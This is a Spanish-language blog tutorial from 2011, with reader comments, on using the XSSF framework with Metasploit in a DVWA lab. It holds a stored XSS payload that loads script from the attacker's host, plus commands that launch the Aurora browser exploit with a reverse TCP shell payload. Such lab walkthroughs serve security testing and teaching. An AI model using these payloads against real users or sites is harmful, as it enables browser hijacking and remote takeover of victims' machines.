miércoles, 16 de febrero de 2011

Explotando XSS con Metasploit

En el siguiente post, vamos a utilizar el framework XSSF con Metasploit, que nos permitirá atacar a una víctima con un simple XSS.

XSSF es un framework, creado por Ludovic Courgnaud, que nos permite “administrar” víctimas de XSS genéricos y realizar posteriores ataques, así como mantener el enlace para futuros ataques. Podemos encontrar una  descripción más detallada del framework aquí.


Jugando con XSSF

Para realizar estas pruebas vamos a utilizar el DVWA, un framework para testing de vulnerabilidades web, instalado sobre una VM  Windows XP y nuestro Backtrack 4 R2.

Lo primero que vamos a hacer es descargar el XSSF framework desde aquí y descomprimirlo en nuestro directorio de metasploit, luego iniciamos el framework:

# Instalamos XSSF en Metasploit
cd /opt/metasploit/msf3
wget http://www.metasploit.com/redmine/attachments/596/XSSF.zip
unzip XSSF.zip
cd XSSF
cp -r data/ lib/ modules/ plugins/ ../

# Iniciamos Metasploit y cargamos el XSSF
msfconsole
load XSSF


Ahora vamos a DVWA, a la pestaña XSS stored, con el DVWA Security en “Low” e insertamos el siguiente XSS:

<script src=”http://IP_BACKTRACK:8888/loop?interval=5”></script>


Si todo funcionó bien, deberá quedar registrado nuestro nombre y el comentario en blanco.

Ahora, desde nuestra VM Windows XP, ingresamos a DVWA, ponemos el DVWA Security en “Low” y vamos a la pestaña XSS stored. Al momento de ingresar nuestro XSS entrará en acción ;)

Regresamos a nuestra consola de metasploit y vemos las víctimas que tenemos disponibles con el comando "xssf_victims":


Si queremos obtener más información acerca de alguna víctima, ingresamos el siguiente comando "xssf_information victimID":


Ahora ya podremos hacer varias cosas con la víctima, por ejemplo enviarle un popup:

use auxiliary/xssf/alert
set VictimIDs 2
set AlertMessage "Game Over"

 

También podremos lanzar un exploit contra el navegador para obtener una shell en el sistema:

use exploit/windows/browser/ms10_002_aurora
set SRVPORT 80
set PAYLOAD windows/shell/reverse_tcp
set LHOST IP_BACKTRACK
set URIPATH dvwa/vulnerabilities/xss_s/

Vemos que job nos creo, el id de la victima y luego lanzamos el exploit desde el XSSF:

jobs
xssf_active_victims
xssf_exploit victimID jobID


Espero que les haya gustado mi primer post! :)

Referencias:
- http://www.metasploit.com/redmine/issues/2995
- http://www.dvwa.co.uk/


Publicado por Lucas Duarte Wulfert en www.KUNGFOOSION.com

6 comentarios:

Manuel Ramos dijo...

Interesante, muy interesante!! me gusta..

Gracias Lucas!

Burbuja dijo...

Lu, está muy bueno el post. Felicitaciones!!! :)

Ulises dijo...

Muy interesante el tema, especialmente cuando necesitás demostrar el riesgo de las vulnerabilidades XSS.

Otra manera de hacer lo mismo es utilizar BeEF framework + Metasploit.

Saludos!

Anónimo dijo...

Lo estuve probando, me faltaba darle 'run' para que correr AlertMessage :P, jeje. Muy bueno Lucas!

Gracias!

Diego

Diego dijo...

Lo estuve probando, me faltaba darle 'run' para que correr AlertMessage :P, jeje. Muy bueno Lucas!

Gracias!

Diego

Alberto dijo...

Enhorabuena por el tuto. Pero tengo una duda que no me deja validar la vulnerabilidad. Cuando inserto la sentencia con la IP atacante, la víctima aparece pero no permanece activa, por lo que no puedo lanzar el exploit. ¿Qué debo hacer para que la víctima permanezca activa y poder atacarla? Gracias

LinkWithin